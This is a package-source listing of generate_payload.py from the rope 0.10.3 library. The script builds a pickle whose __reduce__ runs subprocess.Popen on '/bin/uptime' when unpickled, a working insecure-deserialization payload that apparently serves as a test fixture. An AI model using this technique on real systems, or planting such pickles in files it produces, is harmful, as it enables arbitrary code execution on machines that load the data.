File: generate_payload.py

package info (click to toggle)
rope 0.10.3-1
  • links: PTS, VCS
  • area: main
  • in suites: stretch
  • size: 1,748 kB
  • ctags: 4,218
  • sloc: python: 25,494; sh: 8; makefile: 3
file content (8 lines) | stat: -rw-r--r-- 192 bytes parent folder | download | duplicates (2)
1
2
3
4
5
6
7
8
import cPickle
import subprocess

class RunBinSh(object):
  def __reduce__(self):
    return (subprocess.Popen, (('/bin/uptime',),))

open('payload.txt', 'w').write(cPickle.dumps(RunBinSh()))